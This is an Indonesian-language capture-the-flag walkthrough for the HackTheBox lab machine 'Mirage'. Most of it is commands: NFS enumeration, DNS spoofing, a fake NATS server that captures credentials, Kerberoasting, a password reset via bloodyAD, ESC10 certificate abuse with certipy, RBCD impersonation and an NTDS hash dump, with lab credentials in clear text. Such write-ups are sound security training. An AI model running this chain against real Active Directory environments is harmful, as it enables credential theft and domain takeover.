Writeup HTB Mirage – HackTheBox Walkthrough Lengkap Windows Hard
Writeup Htb Mirage 1
Writeup HTB Mirage

๐Ÿ“š Daftar Isi

  1. Informasi Umum Machine
  2. Enumeration
  3. Eksploitasi
  4. Privilege Escalation
  5. Root Flag
  6. Kesimpulan
  7. Writeup Lainnya

1. Informasi Umum Machine

Machine ini merupakan bagian dari lab HackTheBox Mirage Windows Hard, dengan banyak fokus pada skenario enterprise Active Directory. Dalam writeup HTB Mirage ini, kita akan membahas bagaimana menyalahgunakan layanan seperti NFS, Kerberos, serta eksploitasi sertifikat Windows.

  • Nama Machine: Mirage
  • IP Target: 10.10.11.78
  • OS: Windows
  • Tingkat Kesulitan: Hard
  • Kategori: Active Directory, NFS, Kerberos, LDAP, ESC10

2. Enumeration

Langkah pertama untuk menyelesaikan HackTheBox Mirage Windows Hard adalah melakukan scanning dengan Nmap.

๐Ÿ”Ž Nmap

nmap -sC -sV -Pn -oN nmap.txt 10.10.11.78

Port Penting:

  • 53/tcp - DNS
  • 88/tcp - Kerberos
  • 389/tcp - LDAP
  • 445/tcp - SMB
  • 2049/tcp - NFS
  • 5985/tcp - WinRM
  • 4222/tcp - NATS

๐Ÿงญ Enumerasi NFS

showmount -e 10.10.11.78
# Output: /MirageReports (everyone)

mkdir /tmp/mirage
sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage
ls /tmp/mirage

Dari folder NFS ini, kita mendapatkan dua file PDF internal yang sangat penting untuk Mirage NFS Kerberos exploit, yaitu:

  • Incident_Report_Missing_DNS_Record_nats-svc.pdf
  • Mirage_Authentication_Hardening_Report.pdf

Isi PDF mengindikasikan adanya potensi eksploitasi nats-svc.mirage.htb via DNS spoofing/responder.

3. Eksploitasi

Langkah penting untuk Mirage NFS Kerberos exploit dimulai dengan menambahkan entri DNS dan memancing koneksi ke server NATS palsu.

๐Ÿงช Menyusun Responder lewat Fake NATS Server

1. Edit DNS Lokal:

echo "10.10.11.78 nats-svc.mirage.htb" | sudo tee -a /etc/hosts

2. Update DNS via nsupdate:

nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 3600 A <tun0_IP_kamu>
> send

3. Jalankan Fake NATS Server:

# fake_server.py
import socket

print("[+] Fake NATS Server listening on 0.0.0.0:4222")
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)

while True:
client, addr = s.accept()
print(f"[+] Connection from {addr}")
client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print("[>] Received:")
print(data.decode())
client.close()
python3 fake_server.py

Hasil kredensial berhasil didapatkan:
Dev_Account_A:hx5h7F5554fP@1337!

๐Ÿงฌ Interaksi NATS dengan nats-cli

nats context add dev-nats \
--server nats://dc01.mirage.htb:4222 \
--user Dev_Account_A \
--password 'hx5h7F5554fP@1337!' \
--description "Dev access"

nats --context dev-nats sub ">" --count 10

ditemukan password kedua david.jjackson:pN8kQmn6b86!1234@

๐Ÿง  Enumerasi LDAP

nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' --users

Ditemukan user: nathan.aadam, mark.bbond, javier.mmarshall, svc_mirage

๐Ÿ” SPN Enumeration

impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -request

Ditemukan SPN dari nathan.aadam. Simpan hasil hash, lalu brute-force:

hashcat -m 13100 nathan.hash /usr/share/wordlists/rockyou.txt --show

Output:

nathan.aadam:3edc#EDC3

4. Privilege Escalation

๐Ÿ”“ Registry Disclosure - mark.bbond

Setelah akses shell via evil-winrm, temukan credential:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Output:

DefaultUserName: mark.bbond
DefaultPassword: 1day@atime

๐Ÿงจ Force Reset Password dengan bloodyAD

bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' set password JAVIER.MMARSHALL 'Abc123456@'

Aktifkan user jika dinonaktifkan:

bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE

๐Ÿง  Get msDS-ManagedPassword

bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'javier.mmarshall' -p 'Abc123456@' get object 'Mirage-Service$' --attr msDS-ManagedPassword

Hash NTLM Mirage-Service ditemukan.

๐Ÿ” ESC10 Exploit โ€“ Certificate Mapping Attack

Step 1 โ€“ UPN Injection:

certipy-ad account update \
-user 'mark.bbond' \
-upn 'dc01$@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb

Step 2 โ€“ Request Certificate:

certipy-ad req \
-u 'mark.bbond@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb \
-ca 'mirage-DC01-CA' \
-template 'User'

Step 3 โ€“ Revert UPN:

certipy-ad account update \
-user 'mark.bbond' \
-upn 'mark.bbond@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb

Step 4 โ€“ Auth via Cert & Set RBCD:

bashSalinEditcertipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell

# Dalam shell:
set_rbcd dc01$ Mirage-Service$

5. Root Flag

๐ŸŽฏ Impersonasi Administrator

impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' \
-dc-ip 10.10.11.78 \
'mirage.htb/Mirage-Service$' -hashes :<ntlm_hash>

๐ŸชŸ Akses shell sebagai Administrator

export KRB5CCNAME='dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache'

evil-winrm -i dc01.mirage.htb

๐Ÿ” Dump Semua Hash:

nxc smb dc01.mirage.htb -k --use-kcache --ntds

6. Kesimpulan

Writeup HTB Mirage ini menggambarkan bagaimana memanfaatkan kombinasi NFS leak, Kerberos abuse, dan Windows certificate abuse (ESC10).

Melalui tahapan-tahapan eksploitasi dalam HackTheBox Mirage Windows Hard, kita belajar bagaimana teknik chaining antar layanan dapat membuka celah privilege escalation. Salah satu kunci dari keberhasilan Mirage NFS Kerberos exploit adalah penyalahgunaan konfigurasi internal dan CA policy yang longgar.

๐Ÿ”‘ Teknik penting:

  • NFS Leak & PDF Analysis
  • DNS Spoofing + Fake NATS Server
  • Kerberos TGT/SPN Abuse
  • BloodHound & RBCD
  • ESC10 dengan Certipy

7. Writeup Lainnya